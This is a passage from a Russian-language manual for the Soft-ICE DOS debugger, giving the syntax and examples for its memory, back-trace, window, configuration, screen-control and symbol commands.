непосредственно в памяти. Команда DB
сопровождается списком байтов и/или строк в кавычках
разделенных пробелами или запятыми.
* Мнемокод RETF описывает дальний возврат.
* WORD PTR и BYTE PTR используется для
указания размера данных, если не присутствует аргумент-
регистр, например: MOV BYTE PTR
ES:[ 1234],1.
* Используйте, FAR и NEAR для явной трансляции дальних и
ближних переходов и обращений. Если FAR или NEAR не
указаны, то все переходы и обращения - ближние.
* Операнды, описывающие ячейки памяти, должны
помещаться в квадратные скобки, например: MOV AX,[1234].
Пример:
A CS:1234
Эта команда выводит приглашение для ввода команд ассемблера,
затем транслирует их, начиная со смещения 1234H в
текущий сегмент кода. Нажмите ВВОД в приглашении
с адресом после ввода последней команды.
S
S -- Поиск данных
Синтаксис:
S адрес L длина список-данных
список-данных -- список байтов или строк в кавычках, разделенных
запятыми или пробелами. Строка в кавычках
может начинаться с одинарной или
двойной кавычки.
длина -- длина в байтах
Комментарии:
Команда S ищет в памяти последовательности байтов или символов,
совпадающих со списком данных. Поиск начинается с указанного адреса и
до смещения, равного указанной длине. Адреса каждого найденного
в диапазоне совпадения выводятся на экран.
Пример:
S DS:SI+10 L CX 'Привет',12,34
Эта команда ищет строку 'Привет' сопровождаемую
байтами 12H и 34H, начиная со смещения SI+10 в
текущем сегменте данных и заканчивая адресом через CX байт от начала.
F
F -- Заполнить память данными
Синтаксис:
F адрес L длина список-данных
список-данных -- список байтов или строк в кавычках, разделенных
запятыми или пробелами. Строка в кавычках
может начинаться с одинарной или
двойной кавычки.
длина -- длина в байтах
Комментарии:
Команда F заполняет память последовательностью байтов или символов,
определенных в списке-данных. Память заполняется, начиная с указанного
адреса и до смещения, равного указанной длине, повторяя список-данных
в случае необходимости.
Пример:
F 8000:0 L 100 'Тест'
Эта команда заполняет память, начиная с 8000:0 на
длину 100H байтов строкой 'Тест'. Строка 'Тест'
повторяется, пока не достигнуто необходимое смещение.
М
M -- Переместить данные
Синтаксис:
М адрес-начала L длина конечный-адрес
длина -- длина в байтах
Комментарии:
Команда M перемещает указанное число байтов из адреса-начала
в памяти в конечный-адрес в памяти.
Пример:
М 1000:0 L 200 2000:0
Эта команда перемещает 200H байтов из ячейки
памяти 1000:0 в ячейку памяти 2000:0.
C
C -- Сравнить два блока данных
Синтаксис:
C адрес1 L длина адрес2
длина -- длина в байтах
Комментарии:
Команда C сравнивает блок памяти, определенный адресом1 и
длиной с блоком памяти определенным адресом2 и длиной.
Когда байт из первого блока данных не соответствует байту из
второго блока данных, оба байта выводятся на экран вместе с их адресами.
Пример:
C 5000:100 L 10 6000:100
Эта команда сравнивает 10H байтов, начинающихся с
ячейки памяти 5000:100 с 10H байтами, начинающимися
с ячейки памяти 6000:100.
5.6 Специализированные Отладочные Команды
Команды:
SHOW -- Выводит команды из буфера истории исполнения
TRACE -- Включает режим эмуляции пошагового исполнения
XT -- Одиночный шаг в режиме эмуляции трассировки
XP -- Программный шаг в режиме эмуляции трассировки
XG -- Переход по адресу в режиме эмуляции трассировки
XRSET -- Сброс буфера истории обратной трассировки
VECS -- Сохранение/восстановление/сравнение векторов прерываний
SNAP -- Запоминает содержимое блока памяти (snap shot)
EMMMAP -- Отображают карту распределения EMM
SHOW
SHOW -- Выводит команды из буфера истории исполнения
Синтаксис:
SHOW [B | начало]
B -- Указывает команде SHOW начать
вывод с самой старой команды
в буфере обратной трассировки.
начало -- Смещение (в инструкциях) от
конца буфера (последней зафиксированной
команды) с которого надо начать вывод.
Комментарии:
Команда SHOW отображает команды из буфера истории обратной трассировки.
Если для команд доступен исходный текст, то дисплей находится в смешанном
режиме, в противном случае отображается только код.
SHOW позволяет просматривать буфер обратной трассировки при помощи клавиш
вверх, вниз, PageUp и PaqeDn. Для выхода из SHOW нужно нажать клавишу Esc.
Адресу каждой команды предшествует номер входа в буфер. Этот
номер показывает, как глубоко в буфере находится команда. Чем
больше номер, тем глубже вы в буфере.
Обратите внимание:
До вызова команды SHOW, команды должны регистрироваться при помощи диапазона
обратной трассировки. См. главу 9 для подробной информации о диапазонах.
Подсказки:
Часто полезно иметь видимое окно кода с фактическим кодом
области, отображаемой из буфера обратной трассировки. При сравнении
фактического исполнения команд с кодом, отображаемыми переходами и обращениями
обычно возникает меньше путаницы.
Использование SHOW вместе с командой TRACE позволит вам рассматривать
команды в буфере обратной трассировки с двух различных точек зрения.
Пример:
SHOW 40
Этот пример выведет на экран команды из буфера обратной трассировки,
начиная с 40-ой инструкции от конца буфера.
TRACE
TRACE -- Включает режим эмуляции пошагового исполнения
Синтаксис:
TRACE [начало] | [OFF]
начало -- Смещение (в инструкциях) от
конца буфера (последней зафиксированной
команды) с которого надо начать эмуляцию.
OFF -- Выход из режима эмуляции трассировки.
Комментарии:
Команда TRACE позволяет вам повторно "проигрывать" команды из буфера
истории обратной трассировки команд, так же как они выполнялись в первый раз.
Для использования режима эмуляции трассировки вам необходимо иметь видимое
окно кода. После входа в режим эмуляции трассировки используйте команды XT, XP
и XG для трассировки команд из буфера.
Для выхода из режима эмуляции трассировки введите TRACE OFF.
TRACE без параметров сообщает включен режим эмуляции трассировки
или нет.
Обратите внимание:
До вызова команды TRACE, команды должны регистрироваться при помощи диапазона
обратной трассировки. См. главу 9 для подробной информации о диапазонах.
Подсказки:
Режим эмуляции трассировки наиболее полезен, когда видимо окно кода. Часто
полезно использовать TRACE вместе с командой SHOW. Это позволяет
просматривать инструкции в буфере истории обратной трассировки одновременно
в двух различных формах.
Пример:
TRACE 40
Этот пример производит эмуляцию трассировки, начиная с 40-ой
инструкции от последней зарегистрированной команды. Режим
эмуляции трассировки будет активен, пока не будет
введено TRACE OFF.
XT
XT -- Одиночный шаг в режиме эмуляции трассировки
Синтаксис:
XT [R]
R -- Одиночный шаг в обратном направлении.
Комментарии:
Команда XT пошагово проходит буфер истории обратной трассировки инструкций.
Эта команда действует подобно команде T для нормальной отладки. Заметьте
что в режиме эмуляции трассировки регистры не изменяются,
за исключением CS и IP.
Команда XT позволяет вам повторно выполнять команды из буфера истории
обратной трассировки.
Обратите внимание:
Для использования XT вы должны быть в режиме эмуляции трассировки. См. главу 9
и команду TRACE из этого раздела для подробной информации о диапазонах
обратной трассировки.
Подсказка:
Если вы используете XT часто, то подобно любой другой команде Soft-ICE она
может быть привязана к функциональной клавише.
Пример:
XT
Эта команда проходит одну команду в режиме
эмуляции трассировки.
XP
XP -- Программный шаг в режиме эмуляции трассировки
Синтаксис:
XP
Комментарии:
Команда XP производит логический программный шаг в буфере истории обратной
трассировки инструкций. Эта команда действует подобно команде P для обычной
отладки. Заметьте, что в режиме эмуляции трассировки регистры не изменяются,
за исключением CS и IP.
Команда XP позволяет вам повторно выполнять команды из буфера истории
обратной трассировки.
Обратите внимание:
Для использования XP вы должны быть в режиме эмуляции трассировки. См. главу 9
и команду TRACE из этого раздела для подробной информации о диапазонах
обратной трассировки.
Подсказка:
Если вы используете XP часто, то подобно любой другой команде Soft-ICE она
может быть привязана к функциональной клавише.
Пример:
XP
Эта команда выполняет один программный шаг в режиме
эмуляции трассировки.
XG
XG -- Переход по адресу в режиме эмуляции трассировки
Синтаксис:
X [R] адрес
R -- Поиск адреса в обратном направлении.
адрес -- Адрес, по которому надо перейти в буфере истории
обратной трассировки.
Комментарии:
Команда XG перемещает указатель команд на следующее упоминание
указанного адреса в буфере истории обратной трассировки. Если перед
адресом указан R, то указатель команды перемещается на предыдущее
упоминание указанного адреса в буфере обратной трассировки.
Адрес должен указывать на первый байт опкода команды.
XG аналогична команде G при нормальной отладке.
Обратите внимание:
Для использования XG вы должны быть в режиме эмуляции трассировки. См. главу 9
и команду TRACE из этого раздела для подробной информации о диапазонах
обратной трассировки.
Пример:
XG 273:1030
Эта команда перемещает указатель команд на
следующее упоминание команды по адресу 273:1030.
XRSET
XRSET -- Сброс буфера истории обратной трассировки
Синтаксис:
XRSET
Комментарии:
Команда XRSET сбрасывает буфер истории обратной трассировки. Эта команда
должна выполняться перед установкой диапазона обратной трассировки, если
в буфере обратной трассировки имеется нежелательная информация о командах.
Пример:
XRSET
Эта команда сбрасывает буфер обратной трассировки.
VECS
VECS -- Сохранение/восстановление/сравнение векторов прерываний
Синтаксис:
VECS [C|S|R]
C -- Сравнить текущую таблицу с сохраненной таблицей
S -- Сохранить текущую таблицу прерываний в буфере
R -- Восстановить таблицу прерываний из буфера
Комментарии:
Команда VECS позволяет вам сохранять и восстанавливать таблицу прерываний из
внутреннего буфера Soft-ICE. Также фактическая таблица может сравниваться с
сохраненной таблица с отображением различий.
Когда используется опция C, для сравнения текущей таблицы векторов прерываний
с сохраненной копией, вывод производится в следующем формате:
адрес старый-вектор новый-вектор
Отображаются все измененные векторы.
Таблица векторов прерываний первоначально сохраняется, при загрузке Soft-ICE. Это
Она также автоматически сохраняется при загрузке программы LDR'ом. Хранится
только одна копия таблицы векторов прерываний, т.о. при каждом выполнении
VECS S, предыдущая копия таблицы прерываний перезаписывается.
Если параметры не указаны, на экран выводится вся таблица векторов
прерываний.
Пример:
VECS C
Эта команда сравнивает фактическую таблицу векторов
прерываний с предварительно сохраненной во
внутреннем буфере векторов Soft-ICE.
SNAP
SNAP -- Запоминает содержимое блока памяти (snap shot)
Синтаксис:
SNAP [C|S|R] адрес1 адрес2
C -- Сравнить буфер с адресным интервалом
S -- Сохранить адресный интервал в буфере
R -- Восстановить адресный интервал из буфера
Комментарии:
Команда SNAP запоминает содержимое блока памяти для последующего сравнения.
Опция S копирует блок памяти в буфер в дополнительной памяти (XMS).
Опция C отображает различия между буфером в дополнительной памяти и
фактической памятью, определенной адресным интервалом. Опция R копирует
буфер в дополнительной памяти в адресный интервал в стандартной памяти.
Когда используется опция C, для сравнения буфера с адресным интервалом,
вывод производится в следующем формате:
адрес старые-данные новые-данные
Отображаются все измененные байты.
Обычно для опций C и R адрес необязателен. Если адрес не указан,
используется адрес, который был указан в последний раз при использовании
команды SNAP.
Примечания:
Для использования команды SNAP вы должны указать переключатель /TRA XXXX в
строке S-ICE.EXE в CONFIG.SYS.
Команда SNAP сохраняет данные в буфере истории обратной трассировки. Если вы
используете обратную трассировку, у вас будет конфликт со SNAP. В силу своей
специфики, SNAP перезапишет информацию обратной трассировки, если вы выполните
SNAP S, когда история команд находится в буфере обратной трассировки. Наоборот,
если вы сохранили область при помощи SNAP, активация диапазона обратной
трассировки перезапишет буфер SNAP.
Пример:
SNAP S 2000:0 4000:0
Эта команда сохраняет блок данных с 2000:0 по
4000:0 в буфере обратной трассировки Soft-ICE.
EMMMAP
EMMMAP -- Отображают карту распределения EMM
Синтаксис:
EMMMAP
Комментарии:
Команда EMMMAP отображает все физические страницы, которые доступны для EMM
памяти и страницы, которые в настоящее время отображены.
Обратите внимание:
Для использования этой функции должна быть активирована возможность Soft-ICE
EMM. См. главу 8 для подробной информации о предоставлении возможности EMM.
Пример:
EMMMAP
Этот пример отображает текущее распределение EMM
и следующей форме.
Физ. страница | Сег. адрес | Дескриптор/Страница(логическая)
00 ¦ D000 ¦ FFFF
01 ¦ D400 ¦ 0001/0000
02 ¦ D800 ¦ 0001/0001
03 ¦ DC00 ¦ 0001/0002
В этом примере, физическая страница 0 размещена в D000 и
не отображается. Физическая страница 1 размещена в D400 и
имеет дескриптор 1, в нее отображается страница 0. Физическая страница 2
размещена в D800 и имеет дескриптор 1, в нее отображается страница I.
Физическая страница 3 размещена в DC00 и имеет дескриптор 1,
в нее отображается страница 2.
5.7 Команды Работы с окнами
Команды:
WR -- Переключает окно регистров
WC -- Переключает/устанавливает размер окна кода
WD -- Переключает/устанавливает размер окна данных
EC -- Войти/выйти из окна кода
. -- Найти местоположение текущей команды
Soft-ICE может выводить окна трех типов:
регистров, данных и кода. Любое из этих окон может быть
активизировано или деактивировано в любое время. Окна данных
и кода могут иметь переменный размер; окно регистров
фиксировано в размере. Окна всегда остаются в фиксированном
порядке. Начиная с верхней части экрана порядок следующий :
окно регистров, окно данных, затем окно кода.
WR
WR -- Переключает окно регистров
Синтаксис:
WR
Комментарии:
Команда визуализирует окно регистров, если оно в текущий момент невидимо. Если
окно регистров в текущий момент видимо, WR удаляет окно регистров.
Окно регистров отображает набор регистров 8086 и флаги процессора.
Функция, заданная по умолчанию: F2
WC
WC -- Переключает/устанавливает размер окна кода
Синтаксис:
WC [размер-окна]
размер-окна -- десятичное число между единицей и 21.
Комментарии:
Если размер-окна не указан, эта команда переключает окно кода. Если
оно не было видимо, оно станет видимым, и если оно было видимо, оно
будет удалено.
Если указан размер-окна, окно кода будет изменено или, если оно
не было видимо, оно станет видимым с определенным размером.
Обратите внимание:
Если вы хотите переместить курсор в окно кода, используйте команду EC. См.
описание команды EC для более подробной информации.
Пример:
WC 12
Если окно кода не присутствует, то создается окно кода
высотой 12 строк. Если окно кода в текущий момент - на
экране, его высота изменяется на 12 строк.
WD
WD -- Переключает/устанавливает размер окна данных
Синтаксис:
WD [размер-окна]
размер-окна -- десятичное число между единицей и 21.
Комментарии:
Если размер-окна не указан, эта команда переключает окно данных. Если
оно не было видимо, оно станет видимым и если оно было видимо, оно
будет удалено.
Если указан размер-окна, окно кода будет изменено или, если оно
не было видимо, оно станет видимым с определенным размером.
Пример:
WD 1
Если окно данных не присутствует, то создается окно
данных высотой в одну строку. Если окно данных в текущий момент - на
экране, его высота изменяется на одну строку.
EC
EC -- Войти/выйти из окна кода
Синтаксис:
EC
Комментарии:
Команда EC переключает расположение курсора между окном кода и
окном команд. Если курсор был в окне команд, он перемещается в
окно кода и если курсор был в окне кода, он перемещается в
окно команд.
Когда курсор находится в окне кода, становятся доступными несколько опций,
которые намного упрощают отладку. Опции:
* Точки останова типа point-and-shoot
Точки останова типа point-and-shoot устанавливаются
командой BP. Если в команде BPX параметры не указаны,
в ячейку памяти, на которую указывает курсор в окне
кода, будет установлена точка останова на выполнение.
Курсор должен быть в строке, которая
содержит код (переключите окно кода в смешанный
режим, если вы не уверены). Заданная по умолчанию
функциональная клавиша для BPX - F9.
* Исполнение до строки курсора
Вы можете устанавливать временную точку останова в месте
положения курсора выполнять команду HERE. Курсор должен
находиться в строке, которая содержит код (переключите
окно кода в смешанный режим, если вы не уверены). Заданная
по умолчанию функциональная клавиша для HERE - F7.
* Прокрутка окна кода
Окно кода может быть пролистано только когда
курсор находится в окне кода. Клавиши прокрутки
(стрелка "ВВЕРХ", стрелка "ВНИЗ", PageUp и
PageDown) переопределяются, когда курсор - в
окне кода. Когда курсор находится в окне
кода, клавиши прокрутки делают следующее:
ВВЕРХ -- Прокрутка окна кода вверх на одну строку
ВНИЗ -- Прокрутка окна кода вниз на одну строку
PageUp -- Прокрутка окна кода на один экран
PageDn -- Прокрутка окна кода один экран
Обратите внимание:
Для того чтобы команда EC работала, Окно кода должно быть видимо.
Заданная по умолчанию функциональная клавиша: F6
.
. -- Найти местоположение текущей команды
Синтаксис:
.
Комментарии:
Когда окно кода видимо, команда . делает видимой текущую строку
исходного текста или текущую команду.
5.8 Команды Настройки Отладчика
Команды:
PAUSE -- Пауза после каждого экрана
ALTKEY -- Устанавливает альтернативную комбинацию клавиш для
вызова Soft-ICE
FKEY -- Отображает и редактирует назначение функциональных клавиш
BASE -- Устанавливает/отображает текущее основание системы счисления
CTRL-P -- Выводит сеанс на принтер
Print-Screen -- Печать содержимого экрана
PRN -- Устанавливает порт для вывода на принтер
PAUSE
PAUSE -- Пауза после каждого экрана
Синтаксис:
PAUSE [ON | OFF]
Комментарии:
PAUSE управляет паузами экрана в конце каждой страницы. Если PAUSE включен, вы
должны нажать любую клавишу прежде, чем информация в окне будет прокручена.
Подсказка отображается в строке состояния в нижней части окна.
Если параметры не указаны, отображается текущее состояние PAUSE.
Значение по умолчанию - PAUSE ON.
Пример:
PAUSE ON
Эта команда указывает, что последующие команды,
отображающие информацию в окне, будут ожидать, пока вы
не нажмете клавишу, до прокрутки в окне новой информации.
ALTKEY
ALTKEY -- Устанавливает альтернативную комбинацию клавиш для вызова Soft-ICE
Синтаксис:
ALTKEY [ALTсимвол] | [CTRLсимвол] | [SYSREQ]
символ -- любой символ (A - Z)
Комментарии:
Команда ALTKEY позволяет изменять комбинацию клавиш для вызова Soft-ICE.
Комбинация клавиш изменяется на CTRL + символ, ALT + символ или клавишу SysRq.
Иногда вы можете использовать программу, которая конфликтует с комбинацией
клавиш CTRL D, вызывающей окно Soft-ICE. Один из способов обойти эту возможную
проблему - использование команды ALTKEY для изменения комбинации клавиш.
Другой способ - добавить клавишу SHIFT к текущей комбинации. Soft-ICE
не отвечает на эту комбинацию клавиш и позволяет ей вызвать вашу программу.
Например, если резидентная программа, которую вы используете, вызывается
комбинацией клавиш CTRL D, попробуйте использовать комбинацию CTRL SHIFT D для
вызова вашей резидентной программы. На некоторых клавиатурах, для генерации
системного запроса вы должны одновременно нажать клавиши ALT и prtsc. Надо
действовать с осторожностью, чтобы случайно не был распечатан экран.
Если параметры не указаны, отображается текущее состояние комбинации клавиш.
Заданная по умолчанию комбинация клавиш - CTRL D.
Пример:
ALTKEY ALT Z
Эта команда указывает, что комбинация клавиш
ALT Z будет теперь использоваться для вызова
окна Soft-ICE.
FKEY
FKEY -- Отображает и редактирует назначение функциональных клавиш
Синтаксис:
FKEY [название-функциональной-клавиши строка]
название-функциональной-клавиши -- F1, F2 ... F12
строка -- Строка состоит из любых допустимых для Soft-ICE
команд и специальных символов
^ (каретка) и ; (точка с запятой). Знак ^,
помещается в строку, чтобы сделать
команду невидимой. Знак ; помещается в
строку, чтобы обозначить возврат каретки.
Комментарии:
Команда FKEY используется в командной строке для назначения функциональной
клавише строки команд. Функциональной клавише может быть назначена любая
строка команд, которая может быть напечатана в Soft-ICE.
Если параметры не указаны, отображаются текущие назначения функциональных
клавиш.
Для отмены назначения определенной функциональной клавиши, используйте команду
FKEY с параметрами: название-функциональной-клавиши с пустой строкой.
Функциональные клавиши могут также быть объявлены заранее в файле определений
S-ICE.DAT. Для подробной информации об объявления функциональных клавиш в
файле определений, обратитесь к разделу 6.4.
Использование символов возврата каретки в строке назначения функциональной
клавиши позволяет назначить функциональной клавише ряд команд. Возврат каретки
обозначается символом ; (точка с запятой).
Если Вы помещаете знак ^ (shift 6) перед определением функциональной клавиши,
последующая команда будет невидима. Команда будет функционировать как обычно,
но вся информация, отображаемая в окне команд (включая сообщения об ошибках)
будет подавляться. Невидимый режим полезен, когда команда изменяет информацию
в окне (кода, регистров или данных) но вы не хотите помех в окне команд.
Когда функциональная клавиша сделана невидимой при помощи знака ^, она может
использоваться во время ввода других команд без воздействия на их выполнение.
Например, если вы используете заданное по умолчанию назначение для F2, вы
можете переключать окно регистров клавишей F2, даже если вы частично ввели
вашу следующую команду.
Обратите внимание:
У Soft-ICE теперь есть файл определений - S-ICE.DAT. Вы можете поместить
назначения функциональных клавиш в этот файл и функциональные клавиши будут
автоматически назначены, при загрузке Soft-ICE. Вот синтаксис для назначения
функциональных клавиш в файле конфигурации:
название-функциональной-клавиши = "строка"
При назначении функциональной клавише строки команд в S-ICE.DAT, строка
должна быть заключена в двойные кавычки.
Примеры командной строки:
FKEY F2 ^WR;
Этот пример назначит команду переключения окна
регистров клавише F2. Знак ^ делает функцию
невидимой и знак ; завершает функцию возвратом
каретки. Клавиша F2 активизирует или деактивирует
окно регистров и даже может быть вызвана при вводе
другой команды.
FKEY F1 "G CS:120; R; G CS:"
Этот пример показывает, что одной функциональной клавише может
быть назначено несколько команд и что могут быть назначены
частичные команды для их завершения пользователем.
После того, как эта команда введена, нажатие клавиши F1
вызовет выполнение программы до достижения
ячейки CS:120, вывод на экран регистров, затем начало
выполнения команды G для ее завершения пользователем.
FKEY F1 WD 3;D DS:100;
Этот пример назначит ряд команд
клавише F1. Функция видима и заканчивается
возвратом каретки. Клавиша F1 изменит высоту окна
данных на три строки и установит начало дампа в
DS:100.
Пример S-ICE.DAT:
F1 = "WR;WD 2;WC 10;"
Если эта строка помещена в S-ICE.DAT, при загрузке
Soft-ICE эта будет строка назначена клавише F1. Нажатие
F1 при работе в Soft-ICE переключит окно регистров,
создаст окно данных высотой 2 строки и окно кода
высотой 10. Для подробной информации относительно назначения
определений функциональным клавишам в S-ICE.DAT, обратитесь
к главе 6.
BASE
BASE -- Устанавливает/отображает текущее основание системы счисления
Синтаксис:
BASE [10 | 16]
Комментарии:
Команда BASE устанавливает основание системы счисления в 10 или 16. Основание
10 ограничено в использовании в узком окне из-за ограничений ширины окна.
Также ограничивается количество информации, отображаемой в некоторых командах
в режиме полной ширины экрана.
Когда текущее основание системы счисления - 10, все числа и адреса, вводимые
и отображаемые Soft-ICE десятичными. Когда основание системы -
16, все числа и адреса, вводимых в Soft-ICE являются шестнадцатеричными,
за исключением:
* Номеров строк исходного текста
* Координаты экрана и размеры в команде WIN
Эти исключения всегда вводятся и отображаются как десятичные числа.
Заданное по умолчанию основание системы счисления - 16.
Пример:
BASE 16
Этот пример устанавливает текущее основание системы счисления в 16.
CTRL-P
CTRL-P --- Выводит сеанс на принтер
Синтаксис:
CTRL-P
Комментарии:
Когда нажаты клавиши CTRL и P, вся последующая информация, отображаемая в
окне команд, также посылается на принтер. Для отмены вывода сеанса на
принтер, повторно нажмите клавиши CTRL и P.
Когда вы посылаете много информации на принтер, используя CTRL-P, вы
может пожелать отменить команду PAUSE и позволить информации пролистываться
в окне без нажатия клавиши.
Print-Screen
Print-Screen - Печать содержимого экрана
Синтаксис:
Print-Screen
Комментарии:
Нажатие клавиши print-screen производит дамп экрана на принтер. Вся
информация с экрана посылается на принтер.
Если вы хотите распечатать карту памяти или информацию помощи, обычно намного
быстрее использовать CTRL-P, чем Print-Screen. Это потому что Print-Screen
печатает все символы на экране, включая рамки.
PRN
PRN --- Устанавливает порт для вывода на принтер
Синтаксис:
PRN [LPTx | COMx]
x -- десятичное число между 1 и 4.
Комментарии:
Команда PRN позволяет вам переслать вывод от команд CTRL-P и
Print-Screen в другой порт принтера.
Если параметры не указаны, PRN отображает текущий порт, назначенный
для принтера.
Пример:
PRN COM 1
Эта команда вызывает перевод вывода от команд
CTRL-P и Print-Screen в порт COM 1.
5.9 Команды Управления Экраном
Команды:
FLASH -- Восстанавливает экран при выполнении команд P и T
FLICK -- Снижение нежелательного мерцания экрана ("снега")
WATCHV -- Включает отслеживание видеорежимов
RS -- Восстанавливает экран программы
CLS -- Очищает окно
ALTSCR -- Изменяет экран на альтернативный
WIN -- Изменяет размер окна Soft-ICE
FLASH
FLASH -- Восстанавливает экран при выполнении команд P и T
Синтаксис:
FLASH [ON | OFF]
Комментарии:
Команда FLASH позволяет вам указывать, будет ли экран восстанавливаться
в течение любых команд трассировки или программных шагов. Если вы укажете, что
экран должен восстанавливаться, он восстанавливается за краткий период времени
пока выполняется команда P или T. Эта возможность необходима для отладки
участков кода, осуществляющих доступ к видеопамяти.
Если команда P выполняется для обращения или прерывания, экран всегда
будет восстанавливаться, потому что вызываемая подпрограмма может записывать
на экран.
Если параметры не указаны, отображается текущее состояние FLASH.
Значение по умолчанию - FLASH OFF.
Пример:
FLASH ON
Эта команда включает режим FLASH. Экран будет
восстанавливаться в течение любых последующих команд P или T.
FLICK
FLICK -- Снижение нежелательного мерцания экрана ("снега")
Синтаксис:
FLICK [ON | OFF]
Комментарии:
Некоторые типы видеоплат требуют ожидания горизонтального или вертикального
обратного хода перед выводом символов. Если запись в видеопамять сделана
произвольно, при отображении символов появится мерцание. Если
при использовании окна Soft-ICE на вашем экране происходит мерцание, вы
должны включить FLICK.
На некоторых платах EGA при выходе из Soft-ICE цвета будут восстановлены
некорректно. Это - проблема виртуализации видео EGA. Порт 3DA является
видеопортом для двух целей. Первая - опрос старыми программами CGA 3DA для
hsync и vsync. Это позволяет им избежать "снега" при выводе на некоторых
старых платах с контроллером CGA. Вторая - сброс регистра-защелки палитры на
платах EGA. В Soft-ICE есть алгоритм, позволяющий избежать необходимости
постоянно опрашивать этот порт, которая замедлила бы старые программы,
которые предназначены для CGA. Однако возможно случайное возникновение
обстоятельств, когда этот алгоритм не сработает. Если вы используете Soft-
ICE на экране EGA и вы заметили, что цвета восстанавливаются
некорректно, включите FLICK и Soft-ICE будет опрашивать порт 3DA, разрешая
проблему.
Когда включен режим FLICK, обновление экрана будет замедлено.
Если параметр не указаны, отображается текущее состояние FLICK.
Значение по умолчанию - FLICK OFF.
Пример:
FLICK ON
Эта команда включает режим FLICK. Это заставляет
Soft-ICE ожидать горизонтального или вертикального обратного хода
перед выводом символов.
WATCHV
WATCHV -- Включает отслеживание видеорежимов
Синтаксис:
WATCHV [ON | OFF]
Комментарии:
Команда WATCHV позволяет вам указать, как Soft-ICE должен отслеживать
видеопорты. Обычно, Soft-ICE отслеживает видео порты только после выполнения
команды INT 10, которая переключает адаптер в графический видеорежим.
Некоторые программы не используют INT 10 для переключения режимов. В этих
случаях, если WATCHV выключен, у Soft-ICE могут быть проблемы с корректным
сохранением и восстановлением экрана. Включение WATCHV заставит Soft-ICE
постоянно отслеживать видео порты.
Включите WATCHV, если вы заметите, что Soft-ICE некорректно обрабатывает ваш
экран, или если некорректно восстанавливается курсор. Активизация WATCHV
может воздействовать на эффективность в некоторых видеорежимах.
Если параметры не указаны, отображается текущее состояние WATCHV.
Значение по умолчанию - WATCHV OFF.
Пример:
WATCHV ON
Эта команда включает режим WATCHV. Это заставит
Soft-ICE отслеживать дополнительные видео порты в
целях виртуализации.
RS
RS -- Восстанавливает экран программы
Синтаксис:
RS
Комментарии:
Команда RS позволяет вам временно восстанавливать экран программы.
Окно Soft-ICE исчезает, пока не будет нажата любая клавиша.
Эта возможность полезна при отладке графических программ, часто модифицирующих
экран. При вызове Soft-ICE, он возвращается в текстовый режим.
Использование команды RS временно восстанавливает графический экран.
Пример:
RS
CLS
CLS -- Очищает окно
Синтаксис:
CLS
Комментарии:
Команда CLS очищает окно Soft-ICE и перемещает подсказку и
курсор в левый верхний угол окна.
Пример:
CLS
ALTSCR
ALTSCR -- Изменяет экран на альтернативный
Синтаксис:
ALTSCR [ON | OFF]
Комментарии:
Команда ALTSCR позволяет вам переназначить вывод Soft-ICE из вашего экрана,
заданного по умолчанию, на альтернативный экран. Эта возможность полезна,
например, когда вы хотите отлаживать графическую программу, без необходимости
переключения между окном Soft-ICE и графическим экраном.
ALTSCR требует от системы двух подсоединенных мониторов.
Альтернативный
монитор должен быть в текстовом режиме, который является заданным по умолчанию
для мониторов.
Значение по умолчанию - ALTSCR OFF.
Пример:
ALTSCR ON
Эта команда переназначает экранный вывод на альтернативный монитор.
WIN
WIN -- Изменяет размер окна Soft-ICE
Синтаксис:
WIN [N | W] [строка-начала длина [столбец-начала]]
N -- Когда задан N, окно будет
установлено в узкий режим: 46
символов.
W -- Когда задан W, окно будет
установлено в полноэкранный режим.
строка-начала -- Число от 0 до 17 указывающий строку
где начинается отображение окна.
длина -- Число от 8 до 25 указывающее, желаемую
высоту окна в строках.
столбец-начала -- Позиция столбца левой стороны
узкого окна. Строка-начала и столбец-начала
определяют левый верхний угол узкого окна.
Столбец-начала игнорируется, если применяется
к широкому окну (во весь экран).
Комментарии:
Команда WIN позволяет вам изменять ширину и высоту окна
Soft-ICE на экране.
Если параметры не указаны, эта команда переключает окно между
широким и узким режимом вывода на экран.
Если в команде WIN указан только параметр N или W,
размер окна будет изменен на запрошенную ширину при текущей высоте.
Если число строк плюс начальный номер строки больше чем 25,
окно растягивается до нижней части экрана.
Значение по умолчанию - узкий режим WIN.
Примеры:
WIN N 4 9 30
Эта команда заставляет окно выводиться со
строки 4 и столбца 30 и быть 9 строк высоты и 46
символов ширины.
WIN
Эта команда переключает ширину окна из
текущего состояния (широкое или узкое) в противоположное
состояние.
WIN W 10 8
Эта команда заставляет окно начинаться в
строке 10, быть 8 строк высоты и иметь ширину
экрана.
5.10 Команды Работы с Символами и Строками Исходного Текста
Команды:
SYM -- Вывести/установить символ
SYMLOC -- Переместить базу символа
SRC -- Переключает между исходным текстом, смешанным режимом и кодом
FILE -- Изменить/вывести текущий исходный текст
SS -- Найти строку в текущем файле с исходным текстом
SYM
SYM -- Вывести/установить символ
Синтаксис:
SYM [имя-символа [значение]]
имя-символа -- Допустимое имя символа. Имя символа
может заканчиваться знаком * (звездочкой).
Это позволяет искать, если известна только
первая часть имени символа.
Знак , (запятая) может использоваться
как знак-маска вместо
знака в имени символа.
значение -- Это - значение типа СЛОВО, которое используется если вы
хотите присвоить символу определенное значение.
Комментарии:
Команда SYM позволяет отображать и устанавливать символы. Если SYM
введена без параметров, отображаются все символы. Значение каждого
символа отображается рядом с именем символа.
Если имя символа указано без значения, то отображаются имя символа
и его значение. Если имя символа не было найдено, ничего не выводится.
Команда SYM часто полезна для нахождения имени символа, когда помните
только часть имени. Для поиска символов доступны два метода поиска по
маске. Если имя символа заканчивается знаком *, то выводятся все символы,
которые совпадают с фактическими буквами, указанными до знака *,
независимо от завершающих букв. Если знак , используется вместо
определенной буквы в имени символа, то этот знак является символом-
маской.
Если указано значение, всем символам, соответствующим имени-символа,
присваивается указанное значение. Все символы имеют значения типа СЛОВО.
Примеры:
SYM FOO*
Отображаются все символы, которые начинаются с FOO.
SYM FOO* 6000
Всем символам, которые начинаются с FOO, присваивается значение
6000.
SYMLOC
SYMLOC -- Переместить базу символа
Синтаксис:
SYMLOC адрес-сегмента
Комментарии:
Команда SYMLOC перемещает сегментные компоненты всех символов
относительно указанного адреса-сегмента. Эта функция необходима при
отладке загружаемых драйверов устройств или других программ, которые не могут
быть непосредственно загружены LDR.EXE.
При настройке для загружаемого драйвера устройства, используйте значение базы
адреса драйвера, найденного в команде MAP.
При настройке для
.EXE-программы, значение должно быть на 10H больше чем найденная база в
команде MAP. При настройке для .COM-программы, используйте адрес базового
сегмента, найденного в команде MAP.
Команда MAP отобразит, по крайней мере, два входа для каждой программы.
Первый - обычно среда, а второй - обычно
